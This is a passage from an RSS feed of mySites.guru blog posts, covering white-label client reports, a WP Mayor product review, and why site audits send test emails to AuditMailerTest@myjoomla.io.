&lt;li&gt;&lt;strong&gt;Schedule or manual-only&lt;/strong&gt; - toggle between scheduled delivery and on-demand generation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cron schedule&lt;/strong&gt; - use the built-in cron builder with simple clicks, no syntax to memorise
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Report period&lt;/strong&gt; - &quot;since the last report ran&quot;, between two fixed dates, or a set number of days before runtime&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site selection&lt;/strong&gt; - pick individual sites, tags, or any combination&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Report sections&lt;/strong&gt; - toggle sections on or off, hide individual log rows you don&apos;t want&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Email recipients&lt;/strong&gt; - send to unlimited email addresses&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS configuration&lt;/strong&gt; for sending from your own domain - we walk you through SPF and DKIM setup to remove the last trace of mySites.guru from outgoing emails. You can also &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;remove the WordPress logo from the admin bar&lt;/a&gt; for a fully white-labelled admin experience
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Template customisation&lt;/strong&gt; - modify the report layout using the built-in sandboxed Twig template designer
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Can you send reports from your own email address?&lt;/h2&gt;
&lt;p&gt;If you&apos;re sending monthly reports to clients, you probably don&apos;t want them coming from a mySites.guru address. We get that.&lt;/p&gt;
&lt;p&gt;Setting up SPF and DKIM DNS records for your domain lets mySites.guru send emails that appear to come from your own address. The setup is guided - follow the instructions, get three green ticks, and from that point on every report email is sent &quot;from&quot; you.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-green-900 dark:text-green-200&quot;&amp;gt;No mail credentials needed&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-green-800 dark:text-green-300&quot;&amp;gt;mySites.guru does not need your email password, mail server details, or mailbox access. The SPF and DKIM records authorise our mail servers to send on your domain&apos;s behalf - that&apos;s all.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What does the report contain?&lt;/h2&gt;
&lt;p&gt;Every section is toggleable - include only what matters for each client. The main sections are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Site screenshot&lt;/li&gt;
&lt;li&gt;Uptime summary and uptime log&lt;/li&gt;
&lt;li&gt;Extension updates available&lt;/li&gt;
&lt;li&gt;Backup information&lt;/li&gt;
&lt;li&gt;Site activity log&lt;/li&gt;
&lt;li&gt;CMS and PHP version numbers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The site activity log captures events like admin logins and logouts, user modifications, file changes, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;security audits&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;extension upgrades&lt;/a&gt;, backup events, &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;downtime events&lt;/a&gt;, extension installs and removals, tool applications, and configuration changes.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example site activity log&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Example uptime summary&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Customise the template with HTML and Twig&lt;/h2&gt;
&lt;p&gt;The built-in template designer lets you modify the standard report template using HTML and &lt;a href=&quot;https://twig.symfony.com&quot;&gt;Twig&lt;/a&gt; &lt;code&gt;{{ placeholder }}&lt;/code&gt; tags. If you can write HTML, you can fully brand the report - change the layout, add your logo, adjust colours, restructure sections.&lt;/p&gt;
&lt;p&gt;For more on the template designer, see our guide to &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;creating custom white-label report templates&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why HTML instead of PDF?&lt;/h2&gt;
&lt;p&gt;Generating PDFs that look good across all page sizes, handle variable-length data tables, and work on every device is surprisingly painful. PDFs are page-size-specific (A4 in the UK, Letter in the US), and require readers to have PDF software installed.&lt;/p&gt;
&lt;p&gt;HTML has none of these problems:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every email client renders HTML&lt;/li&gt;
&lt;li&gt;HTML is responsive on mobile devices&lt;/li&gt;
&lt;li&gt;HTML is fully customisable by you&lt;/li&gt;
&lt;li&gt;Print stylesheets handle the &quot;I need a hard copy&quot; case&lt;/li&gt;
&lt;li&gt;Reports are attached as downloadable &lt;code&gt;.html&lt;/code&gt; files you can archive or forward&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Where do you find reports in mySites.guru?&lt;/h2&gt;
&lt;p&gt;Reports live under the &lt;strong&gt;Scheduled Actions&lt;/strong&gt; section in the left menu. You can also press &lt;code&gt;r&lt;/code&gt; on your keyboard when logged in to jump straight to the &lt;a href=&quot;https://manage.mysites.guru/en/reports/&quot;&gt;reports page&lt;/a&gt;, or use the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; with Cmd+K and type &quot;reports&quot;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How much do unlimited client reports cost?&lt;/h2&gt;
&lt;p&gt;Nothing extra. White-label reporting is included in every &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru subscription&lt;/a&gt; at no additional charge. Same goes for every other feature - you get the full platform with unlimited sites.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Can you download and archive your reports?&lt;/h2&gt;
&lt;p&gt;Every scheduled report email includes the report as an attached HTML file. You can download it, archive it, forward it, or edit it outside of mySites.guru. You can also download report files directly from the reports page in your account using the download button.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;White-label reporting is part of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>reports</category><category>white-label</category><category>agency tools</category><category>joomla</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/reports-1024x538.Dwq8VCya.webp" length="0" type="image/webp"/></item><item><title>WP Mayor&apos;s Five-Star Review of mySites.guru for WordPress</title><link>https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/</guid><description>WP Mayor gave mySites.guru a five-star rating after a month of hands-on testing. Here&apos;s what reviewer Kevin Wood found.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;script type=&quot;application/ld+json&quot;&amp;gt;
{
&quot;@context&quot;: &quot;https://schema.org&quot;,
&quot;@type&quot;: &quot;Review&quot;,
&quot;itemReviewed&quot;: {
&quot;@type&quot;: &quot;SoftwareApplication&quot;,
&quot;name&quot;: &quot;mySites.guru&quot;,
&quot;applicationCategory&quot;: &quot;BusinessApplication&quot;,
&quot;operatingSystem&quot;: &quot;Web&quot;,
&quot;url&quot;: &quot;https://mysites.guru&quot;,
&quot;offers&quot;: {
&quot;@type&quot;: &quot;Offer&quot;,
&quot;price&quot;: &quot;19.99&quot;,
&quot;priceCurrency&quot;: &quot;GBP&quot;,
&quot;url&quot;: &quot;https://mysites.guru/pricing/&quot;
},
&quot;aggregateRating&quot;: {
&quot;@type&quot;: &quot;AggregateRating&quot;,
&quot;ratingValue&quot;: &quot;4.6&quot;,
&quot;bestRating&quot;: &quot;5&quot;,
&quot;ratingCount&quot;: &quot;1&quot;,
&quot;reviewCount&quot;: &quot;1&quot;
}
},
&quot;reviewRating&quot;: {
&quot;@type&quot;: &quot;Rating&quot;,
&quot;ratingValue&quot;: &quot;4.6&quot;,
&quot;bestRating&quot;: &quot;5&quot;
},
&quot;author&quot;: {
&quot;@type&quot;: &quot;Person&quot;,
&quot;name&quot;: &quot;Kevin Wood&quot;,
&quot;url&quot;: &quot;https://wpmayor.com/author/kevin-wood/&quot;
},
&quot;publisher&quot;: {
&quot;@type&quot;: &quot;Organization&quot;,
&quot;name&quot;: &quot;WP Mayor&quot;,
&quot;url&quot;: &quot;https://wpmayor.com&quot;
},
&quot;url&quot;: &quot;https://wpmayor.com/mysites-guru-review/&quot;,
&quot;datePublished&quot;: &quot;2024-03-11&quot;
}
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;In March 2024, the well-known WordPress blog &lt;a href=&quot;https://wpmayor.com&quot;&gt;WP Mayor&lt;/a&gt; published an independent review of mySites.guru.&lt;/p&gt;
&lt;p&gt;We gave them complete access to the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;full toolset&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt; for almost a month, with &lt;a href=&quot;https://wpmayor.com/disclosure/&quot;&gt;full permission to write whatever they wanted&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The reviewer was &lt;a href=&quot;https://wpmayor.com/author/kevin-wood/&quot;&gt;Kevin Wood&lt;/a&gt;, who has over 10 years of WordPress experience.&lt;/p&gt;
&lt;p&gt;Kevin liked what he saw, and goes into detail in the review. The only correction we asked for was the price currency conversion - &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru is GBP 19.99 per month&lt;/a&gt;, roughly USD $28 for unlimited sites.&lt;/p&gt;
&lt;h2&gt;Where can you read the WP Mayor review of mySites.guru?&lt;/h2&gt;
&lt;p&gt;You can read the complete review here: &lt;a href=&quot;https://wpmayor.com/mysites-guru-review/&quot;&gt;mySites.guru Review on WP Mayor&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This review was performed as part of a paid product analysis. &lt;a href=&quot;https://wpmayor.com/disclosure/&quot;&gt;Here&apos;s why you can trust their verdict&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The review covers the core mySites.guru features: &lt;a href=&quot;https://mysites.guru/&quot;&gt;managing multiple WordPress sites in one dashboard&lt;/a&gt;, the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit toolset&lt;/a&gt;, individual site management, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;WordPress site audit&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin upgrades&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;white-label reporting&lt;/a&gt;, and our &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Learn More best-practice pages&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What are our thoughts on the review?&lt;/h2&gt;
&lt;p&gt;The review sums up the mySites.guru service well.&lt;/p&gt;
&lt;p&gt;Handing someone free rein to write whatever they want about a project you&apos;ve poured over a decade into? Nerve-wracking. But I&apos;m pleased the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features of mySites.guru&lt;/a&gt; and the support I provide came through.&lt;/p&gt;
&lt;p&gt;There&apos;s always stuff to improve. I&apos;m here day in, day out working on it, and the price hasn&apos;t changed since 2012.&lt;/p&gt;
&lt;p&gt;Kevin noted that parts of mySites.guru can feel complex for beginners. Fair enough. It&apos;s built for digital agencies that &lt;a href=&quot;https://mysites.guru/&quot;&gt;manage dozens or hundreds of WordPress sites&lt;/a&gt; - not someone spinning up their first blog.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Want to try mySites.guru free for a whole month?&lt;/h2&gt;
&lt;p&gt;Get started with a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free first month&lt;/a&gt; - no credit card required.&lt;/p&gt;
&lt;h2&gt;Want a free personal site audit of your WordPress site?&lt;/h2&gt;
&lt;p&gt;Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on your WordPress site and see what mySites.guru finds.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>reviews</category><category>site management</category><enclosure url="https://mysites.guru/_astro/mySites.guru-Review.BBu_qAxt.webp" length="0" type="image/webp"/></item><item><title>Emails from AuditMailerTest@myjoomla.io</title><link>https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/</link><guid isPermaLink="true">https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/</guid><description>Explains why you may receive test emails from AuditMailerTest@myjoomla.io and what they mean for your mySites.guru audit notifications.</description><pubDate>Tue, 12 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Several people have noticed emails from AuditMailerTest@myjoomla.io in their Mail sent items.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;At the start of every &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;mySites.guru audit&lt;/a&gt; we use the Joomla/WordPress Configuration for Mail settings (whatever you have your Joomla/WordPress site configured for sending mail) to send a short email to AuditMailerTest@myjoomla.io&lt;/p&gt;
&lt;p&gt;(&lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;myJoomla was the initial name for the mySites.guru service&lt;/a&gt;, before we added support for WordPress sites, at that point &lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;we changed brand to mySites.guru&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;If we receive this then we flag that in the audit results as a success, if the email doesn&apos;t arrive then we flag that as a failure and something to investigate.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This is a valid test to ensure your site can send emails.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now, the server that receives these emails is not a real SMTP server, its a PHP script that pretends its a SMTP server, converts the incoming email to JSON and sends it back to mySites.guru for processing.&lt;/p&gt;
&lt;p&gt;If we don&apos;t receive the email then that is flagged in the mySites.guru audit - because &lt;strong&gt;it would mean that your Joomla/WordPress site could not send email&lt;/strong&gt; using its configured method of sending emails... - &lt;strong&gt;if your site cannot send email that might mean you are losing emails!&lt;/strong&gt; See &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;how to diagnose and fix your email configuration&lt;/a&gt; for a full walkthrough.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you can see these emails in your Mail Clients &quot;sent items&quot; folder it probably also means you are reusing your credentials from your mail account with your site - this is bad and should be changed - if your Joomla/WordPress site ever was hacked (like every Joomla 4 version was exploitable to expose configuration.php values, except the latest few!) then the hacker would have full control over your mail account too - gulp! Beyond configuration files, hackers often leave behind &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files you&apos;d never spot without a dedicated scan&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Normally you would set up and use a separate outgoing mail account for your Joomla/WordPress site if needed, normally a web server can be correctly configured to send mail without sending by SMTP. Personally we recommend using a SMTP service like &lt;a href=&quot;https://PostMarkApp.com&quot;&gt;PostMarkApp.com&lt;/a&gt; which provides better outgoing deliverability and visibility of sent emails. For a complete walkthrough of SMTP settings, common mistakes, and DNS configuration, see the full guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;how to verify your Joomla email configuration&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you are receiving bounce backs or server spam error messages - then &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;check your outgoing mail settings&lt;/a&gt; - because if you are bouncing or spam flagging our emails, you are probably also flagging emails that are genuinely sent from your site.&lt;/p&gt;
&lt;p&gt;The only way to stop these emails is to terminate your mySites.guru subscription or don&apos;t ever run another audit. I shall not be removing this valid and important part of the checks we do and adds value to the audit tools.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>email</category><category>security audits</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/emails-from-auditmailertest-myjoomla-io.C-eOu2wu.png" length="0" type="image/png"/></item></channel></rss>